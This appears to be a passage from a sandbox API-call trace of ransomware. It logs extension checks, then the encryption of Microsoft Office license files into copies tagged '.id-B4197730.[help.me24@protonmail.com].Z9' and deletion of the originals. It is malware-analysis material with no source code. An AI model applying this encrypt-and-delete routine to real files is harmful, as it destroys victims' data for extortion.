	[0172.718] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.718] lstrlenW (lpString=".bz2") returned 4
	[0172.718] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.718] lstrlenW (lpString=".7z") returned 3
	[0172.718] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0172.718] lstrlenW (lpString=".dbf") returned 4
	[0172.718] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0172.718] lstrlenW (lpString=".1cd") returned 4
	[0172.718] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0172.718] lstrlenW (lpString=".jpg") returned 4
	[0172.718] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.718] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0172.718] lstrlenW (lpString="AccessR_Retail-ul-oob.xrm-ms") returned 28
	[0172.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0172.719] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11579) returned 1
	[0172.719] CloseHandle (hObject=0x4bc) returned 1
	[0172.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220
	[0172.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0172.720] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.720] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0172.720] GetLastError () returned 0x0
	[0172.720] ReadFile (in: hFile=0x4bc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d3b, lpOverlapped=0x0) returned 1
	[0172.723] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0172.724] ReadFile (in: hFile=0x4bc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.724] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0172.724] SetEndOfFile (hFile=0x538) returned 1
	[0172.724] CloseHandle (hObject=0x538) returned 1
	[0172.724] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.724] SetEndOfFile (hFile=0x4bc) returned 1
	[0172.967] CloseHandle (hObject=0x4bc) returned 1
	[0172.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 1
	[0173.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0173.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0173.211] lstrlenW (lpString=".doc") returned 4
	[0173.211] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.211] lstrlenW (lpString=".docx") returned 5
	[0173.211] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.211] lstrlenW (lpString=".pdf") returned 4
	[0173.211] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.211] lstrlenW (lpString=".xls") returned 4
	[0173.211] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.211] lstrlenW (lpString=".xlsx") returned 5
	[0173.211] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.211] lstrlenW (lpString=".ppt") returned 4
	[0173.211] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0173.211] lstrlenW (lpString=".zip") returned 4
	[0173.211] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.211] lstrlenW (lpString=".rar") returned 4
	[0173.211] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.211] lstrlenW (lpString=".bz2") returned 4
	[0173.211] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.211] lstrlenW (lpString=".7z") returned 3
	[0173.211] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0173.212] lstrlenW (lpString=".dbf") returned 4
	[0173.212] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0173.212] lstrlenW (lpString=".1cd") returned 4
	[0173.212] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0173.212] lstrlenW (lpString=".jpg") returned 4
	[0173.212] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0173.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0173.212] lstrlenW (lpString=".doc") returned 4
	[0173.212] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.212] lstrlenW (lpString=".docx") returned 5
	[0173.212] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.212] lstrlenW (lpString=".pdf") returned 4
	[0173.212] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.212] lstrlenW (lpString=".xls") returned 4
	[0173.212] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.212] lstrlenW (lpString=".xlsx") returned 5
	[0173.212] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.214] lstrlenW (lpString=".ppt") returned 4
	[0173.214] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0173.214] lstrlenW (lpString=".zip") returned 4
	[0173.214] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.214] lstrlenW (lpString=".rar") returned 4
	[0173.219] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.219] lstrlenW (lpString=".bz2") returned 4
	[0173.219] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.220] lstrlenW (lpString=".7z") returned 3
	[0173.220] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0173.220] lstrlenW (lpString=".dbf") returned 4
	[0173.220] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0173.220] lstrlenW (lpString=".1cd") returned 4
	[0173.220] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0173.220] lstrlenW (lpString=".jpg") returned 4
	[0173.220] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.220] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0173.220] lstrlenW (lpString="AccessR_Trial-ppd.xrm-ms") returned 24
	[0173.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0173.316] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=20901) returned 1
	[0173.316] CloseHandle (hObject=0x548) returned 1
	[0173.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220
	[0173.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0173.317] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.317] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.318] GetLastError () returned 0x0
	[0173.318] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x51a5, lpOverlapped=0x0) returned 1
	[0173.332] WriteFile (in: hFile=0x550, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x51b0, lpOverlapped=0x0) returned 1
	[0173.334] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.334] WriteFile (in: hFile=0x550, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x104, lpOverlapped=0x0) returned 1
	[0173.334] SetEndOfFile (hFile=0x550) returned 1
	[0173.334] CloseHandle (hObject=0x550) returned 1
	[0173.334] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.334] SetEndOfFile (hFile=0x548) returned 1
	[0173.339] CloseHandle (hObject=0x548) returned 1
	[0173.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 1
	[0173.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0173.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0173.341] lstrlenW (lpString=".doc") returned 4
	[0173.341] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.341] lstrlenW (lpString=".docx") returned 5
	[0173.341] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.341] lstrlenW (lpString=".pdf") returned 4
	[0173.341] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.341] lstrlenW (lpString=".xls") returned 4
	[0173.341] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.341] lstrlenW (lpString=".xlsx") returned 5
	[0173.341] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.341] lstrlenW (lpString=".ppt") returned 4
	[0173.341] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0173.341] lstrlenW (lpString=".zip") returned 4
	[0173.341] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.342] lstrlenW (lpString=".rar") returned 4
	[0173.342] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.342] lstrlenW (lpString=".bz2") returned 4
	[0173.342] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.342] lstrlenW (lpString=".7z") returned 3
	[0173.342] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0173.342] lstrlenW (lpString=".dbf") returned 4
	[0173.342] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0173.342] lstrlenW (lpString=".1cd") returned 4
	[0173.342] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0173.342] lstrlenW (lpString=".jpg") returned 4
	[0173.342] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0173.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0173.342] lstrlenW (lpString=".doc") returned 4
	[0173.342] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.342] lstrlenW (lpString=".docx") returned 5
	[0173.342] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.342] lstrlenW (lpString=".pdf") returned 4
	[0173.342] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.343] lstrlenW (lpString=".xls") returned 4
	[0173.343] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.343] lstrlenW (lpString=".xlsx") returned 5
	[0173.343] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.343] lstrlenW (lpString=".ppt") returned 4
	[0173.343] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0173.343] lstrlenW (lpString=".zip") returned 4
	[0173.343] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.343] lstrlenW (lpString=".rar") returned 4
	[0173.343] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.343] lstrlenW (lpString=".bz2") returned 4
	[0173.343] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.343] lstrlenW (lpString=".7z") returned 3
	[0173.343] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0173.343] lstrlenW (lpString=".dbf") returned 4
	[0173.343] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0173.343] lstrlenW (lpString=".1cd") returned 4
	[0173.343] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0173.343] lstrlenW (lpString=".jpg") returned 4
	[0173.343] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.344] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0173.344] lstrlenW (lpString="AccessVL_KMS_Client-ppd.xrm-ms") returned 30
	[0173.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0173.345] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=6794) returned 1
	[0173.345] CloseHandle (hObject=0x548) returned 1
	[0173.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220
	[0173.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0173.346] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.346] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.136] GetLastError () returned 0x0
	[0174.136] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x1a8a, lpOverlapped=0x0) returned 1
	[0174.138] WriteFile (in: hFile=0x530, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0174.139] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.139] WriteFile (in: hFile=0x530, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x110, lpOverlapped=0x0) returned 1
	[0174.139] SetEndOfFile (hFile=0x530) returned 1
	[0174.139] CloseHandle (hObject=0x530) returned 1
	[0174.139] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.139] SetEndOfFile (hFile=0x548) returned 1
	[0174.142] CloseHandle (hObject=0x548) returned 1
	[0174.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0174.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 1
	[0174.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0174.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0174.144] lstrlenW (lpString=".doc") returned 4
	[0174.144] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.144] lstrlenW (lpString=".docx") returned 5
	[0174.144] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.144] lstrlenW (lpString=".pdf") returned 4
	[0174.144] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.144] lstrlenW (lpString=".xls") returned 4
	[0174.144] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.144] lstrlenW (lpString=".xlsx") returned 5
	[0174.144] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.144] lstrlenW (lpString=".ppt") returned 4
	[0174.144] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0174.144] lstrlenW (lpString=".zip") returned 4
	[0174.144] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.144] lstrlenW (lpString=".rar") returned 4
	[0174.144] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.144] lstrlenW (lpString=".bz2") returned 4
	[0174.144] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.144] lstrlenW (lpString=".7z") returned 3
	[0174.144] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0174.145] lstrlenW (lpString=".dbf") returned 4
	[0174.145] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0174.145] lstrlenW (lpString=".1cd") returned 4
	[0174.145] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0174.145] lstrlenW (lpString=".jpg") returned 4
	[0174.145] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0174.145] lstrlenW (lpString=".doc") returned 4
	[0174.145] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.145] lstrlenW (lpString=".docx") returned 5
	[0174.145] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.145] lstrlenW (lpString=".pdf") returned 4
	[0174.145] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.145] lstrlenW (lpString=".xls") returned 4
